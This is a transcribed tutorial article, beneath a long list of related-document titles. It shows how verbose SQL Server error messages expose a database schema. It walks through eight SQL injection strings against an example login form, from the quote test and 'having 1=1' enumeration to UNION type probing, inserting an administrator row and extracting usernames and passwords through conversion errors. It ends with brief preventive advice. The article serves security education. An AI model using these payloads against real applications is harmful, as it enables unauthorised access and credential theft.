Exposed Database( SQL Server) Error messages Delicious food for Hackers



Similar documents
SQL Injection for newbie

Web Application Disassembly with ODBC Error Messages By David Litchfield Director of Security

This is the original paper just with a bit of formatting changes, and the section on uses.

SQL Injection. SQL Injection. CSCI 4971 Secure Software Principles. Rensselaer Polytechnic Institute. Spring

Webapps Vulnerability Report

INTRODUCTION: SQL SERVER ACCESS / LOGIN ACCOUNT INFO:

Testing Web Applications for SQL Injection Sam Shober

In This Lecture. Security and Integrity. Database Security. DBMS Security Support. Privileges in SQL. Permissions and Privilege.

Developing SQL and PL/SQL with JDeveloper

Advanced PostgreSQL SQL Injection and Filter Bypass Techniques

SQL Injection January 23, 2013

ODBC Driver Version 4 Manual

Using SQL Server Management Studio

The manual contains complete instructions on 'converting' your data to version 4.21.

Managing User Accounts

The release notes provide details of enhancements and features in Cloudera ODBC Driver for Impala , as well as the version history.

White Paper. Blindfolded SQL Injection

Understanding Sql Injection

Title. Syntax. stata.com. odbc Load, write, or view data from ODBC sources. List ODBC sources to which Stata can connect odbc list

SQL Injection in web applications

Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP On August 17, 2009, the United States Justice

SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd

Tutorial: How to Use SQL Server Management Studio from Home

Agenda. SQL Injection Impact in the Real World Attack Scenario (1) CHAPTER 8 SQL Injection

White Paper BMC Remedy Action Request System Security

Analysis of SQL injection prevention using a proxy server

ODBC Client Driver Help Kepware, Inc.

SECURING APACHE : THE BASICS - III

Web Application Security

Database Design Patterns. Winter Lecture 24

Automating SQL Injection Exploits

Accessing Your Database with JMP 10 JMP Discovery Conference 2012 Brian Corcoran SAS Institute

CHAPTER 2 DATABASE MANAGEMENT SYSTEM AND SECURITY

Release Notes For Versant/ODBC On Windows. Release

FileMaker 12. ODBC and JDBC Guide

Managing User Accounts

Web Applications Security: SQL Injection Attack

Developing Web Applications for Microsoft SQL Server Databases - What you need to know

ASP.NET Programming with C# and SQL Server

A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks

Maintaining Stored Procedures in Database Application

Connect to MySQL or Microsoft SQL Server using R

Advanced SQL Injection

Application Security Testing. Generic Test Strategy

Using Temporary Tables to Improve Performance for SQL Data Services

AUTOMATE CRAWLER TOWARDS VULNERABILITY SCAN REPORT GENERATOR

How I hacked PacketStorm ( )

SQL INJECTION TUTORIAL

Database 10g Edition: All possible 10g features, either bundled or available at additional cost.

Oracle Database: SQL and PL/SQL Fundamentals

5 Simple Steps to Secure Database Development

STATISTICA VERSION 12 STATISTICA ENTERPRISE SMALL BUSINESS INSTALLATION INSTRUCTIONS

Oracle Corporation

Oracle Database 10g Express

Setting Up ALERE with Client/Server Data

SAP Business Objects Business Intelligence platform Document Version: 4.1 Support Package Data Federation Administration Tool Guide

Websense SQL Queries. David Buyer June 2009

CHAPTER 5 INTELLIGENT TECHNIQUES TO PREVENT SQL INJECTION ATTACKS

A Brief Introduction to MySQL

CHAPTER 23: USING ODBC

Database security issues PETRA BILIĆ ALEXANDER SPARBER

1. Building Testing Environment

Once the schema has been designed, it can be implemented in the RDBMS.

SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova

Chapter 23. Database Security. Security Issues. Database Security

AUTHENTICATION... 2 Step 1:Set up your LDAP server... 2 Step 2: Set up your username... 4 WRITEBACK REPORT... 8 Step 1: Table structures...

A basic create statement for a simple student table would look like the following.

Duration Vendor Audience 5 Days Oracle End Users, Developers, Technical Consultants and Support Staff

Creating and Modifying PVAAS Accounts for Your School District

Pervasive Data Integrator. Oracle CRM On Demand Connector Guide

FileMaker 13. ODBC and JDBC Guide

Oracle SQL. Course Summary. Duration. Objectives

SQL Injection. Slides thanks to Prof. Shmatikov at UT Austin

Table of Contents SQL Server Option

ACR Triad Web Client. User s Guide. Version October American College of Radiology 2007 All rights reserved.

Security Test s i t ng Eileen Donlon CMSC 737 Spring 2008

Database Encryption Design Considerations and Best Practices for ASE 15

SQL Injection Protection by Variable Normalization of SQL Statement

Tips and Tricks SAGE ACCPAC INTELLIGENCE

ICTN Enterprise Database Security Issues and Solutions

Token Sequencing Approach to Prevent SQL Injection Attacks

Beginning C# 5.0. Databases. Vidya Vrat Agarwal. Second Edition

INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY

Blindfolded SQL Injection. Written By: Ofer Maor Amichai Shulman

SQL Server 2008 Core Skills. Gary Young 2011

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Oracle Database: SQL and PL/SQL Fundamentals NEW

How To Use The Correlog With The Cpl Powerpoint Powerpoint Cpl.Org Powerpoint.Org (Powerpoint) Powerpoint (Powerplst) And Powerpoint 2 (Powerstation) (Powerpoints) (Operations

AESDIRECT ACCOUNT ADMINISTRATION USER GUIDE

SQL Injection Vulnerabilities in Desktop Applications

New SQL Features in Firebird 3

Black Hat Briefings USA 2004 Cameron Hotchkies

Using the SQL Server Linked Server Capability

Converting InfoPlus.21 Data to a Microsoft SQL Server 2000 Database

Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool

This is a training module for Maximo Asset Management V7.1. It demonstrates how to use the E-Audit function.

FileMaker 11. ODBC and JDBC Guide

How To Create A Table In Sql (Ahem)

Transcription:

Exposed Database( SQL Server) Error messages Delicious food for Hackers The default.asp behavior of IIS server is to return a descriptive error message from the application. By attacking the web application with SQL Injection any body can generate the database error message, if not handled properly.using these error messages, a hacker can determine the entire database schema : Name of the tables, field name of the tables, data types of fields. Let us study the error messages from the hacker s point of view, assuming the table structure given below ( for the sake of simplicity and better understanding of attack string, I am giving the table structure at the beginning. After executing all the attack mentioned below, you will find the same table structure form error messages ). USER_TEST ( id int, username varchar(200), password varchar(200), user_role int ) Attributes : user_role : 0 for normal user and 1 for administrative user. id: System generated surrogate primary key. At the front end ( Log in form ), the application will accept the user credentials and give authorized access to the user according to the predefined privilege. According to the hacker s interest the most critical line of coding ( using asp.net ) part is : string sql = select * from USER_TEST where username= +username+ and password= +password+ Let s examine if the application is vulnerable to SQL injection or not Attack_1 : Simply put a single quote in the Username field of log in form, give any password and click submit. Result : If any message appears like incorrect username and password.then no luck But if it returns a detailed error message then a big smile. Now onwards the hacker will start attacking the application to know the database and it s structure. According to the structure the hacker will craft the further attacking strings. Attack_2 : Username : having 1=1 -- Password : <As You wish > select * from USER_TEST where username= having 1=1 -- and password= < as you wish >

The query portion in blue will be operational and rest part of the query is commented using -- ( marked in red ).This convention is used through out the article. Result: Error message since having is used without group by. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column USER_TEST.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Luck : The name of the table ( USER_TEST ) and the name of the first field ( id ) from the error message. Attack_3 : Username : group by USER_TEST.id having 1=1 select * from USER_TEST where username= group by USER_TEST.id having 1=1 -- and password= < as you wish > Result : Error message [Microsoft] [ODBC SQL Server Driver] [SQL Server]Column USER_TEST.username is invalid in the select list because it is not contained in either aggregate function or the GROUP BY clause Luck: The name of the second field of the table. Hackers will try the same attack until they got no error message. In this case Attack: username : group by UESR_TEST.id,USER_TEST.username, USER_TEST.password, USER_TEST.role having 1=1 will not give any error message and the above query will be equivalent to select * from USER_TEST where username =. Now she knows the names of all the fields of the table USER_TEST in order i.e. id, username, password, role and one important thing that there is a single table related to that query. Now they will try to know the datatype of each field. Attack_4 : Username : union select sum(username) from USER_TEST --

sum(username) from USER_TEST -- and password= <As you wish > Result : An error message since sum( ) can t take varchar datatype as an argument. [Microsoft] [ODBC SQL Server Driver] [SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. Luck : The datatype of username field is varchar. Attack_5 : Username : union select sum(id) from USER_TEST -- sum(id) from USER_TEST -- and password= <As you wish > Result : Error message. Confused!!! Yes this will give an error message though sum( ) has integer datatype as argument because of UNION clause. She is exploiting the constraint UNION operator can t be used without the same number of columns in both the queries. [Microsoft] [ODBC SQL Server Driver] [SQL Server]All quires in an SQL statement containing a UNION operator must have an equal number of expression in their target list. In this way one can gather the field datatype information for further dangerous attacks. Now the attacker knows the name of the database, name of the fields and as well as datatypes of the fields. So she can proceed further and insert a row in the USER_TEST table to add, of course, an user with administrative privilege. Attack_6 : Username = ; insert into USER_TEST values ( Hello, I_am_in,1) --

select * from USER_TEST where username= ;insert into USER_TEST values ( Hello, I_am_in,1)-- and password= <As you wish > Result : Attacker has an administrative account with Hello as username and I_am_in as password. Luck: Let s continue the cracking journey with more attacks. Since the attacker needs only to know the username and password, she can read it by the following technique.. Attack_7 : Username : union select min(username),1,1,1 from USER_TEST where username > a -- min(username),1,1,1 from USER_TEST where username > a -- and password= <As you wish > Result : This query will try to retrieve an username that starts with a,comes first according to dictionary order but not a and try to convert it to integer,thus produce error. The 1,1,1 after min(username) is given to match the column number and to get rid of the error message given at attack no.5. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value admin to a column of datatype int. Luck : Now the attacker knows that username admin exists. In this way one can know each and every username. Attack_8 : Username : union select min(password),1,1,1 from USER_TEST where username= admin

min(password),1,1,1 from USER_TEST where username = admin -- and password= <As you wish > Result : The return type of min() function is integer.since this query is trying to convert string to integer,the following error will appear [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value 123XYZ to a column of datatype int. Luck : Bingooooo.. Got the administrative password and it is 123XYZ. So far we have seen that how dangerous the exposed database error message can be. Now lets see some preventive measure so that we can get rid of these kind of database error message. Recommended Preventive Action : 1. Assume all end-user input is hostile. 2. Turn off the detailed error messaging. Less information might make the job of The hacker a bit harder. 3. Maintain a customized error page though it is not a permanent solution. 4. Don t forget to remove the debugging information ( comments ) before release. 5. Replace the single quote from input. 6. Allow only good inputs and minimize the input data length. 7. Limit the right of database user that the web application uses. 8. Keep an open eye to the new types of SQL Injection attacks. Prepared By Sandipan Pramanik Mindfire Solutions ( www.mindfiresolutions.com )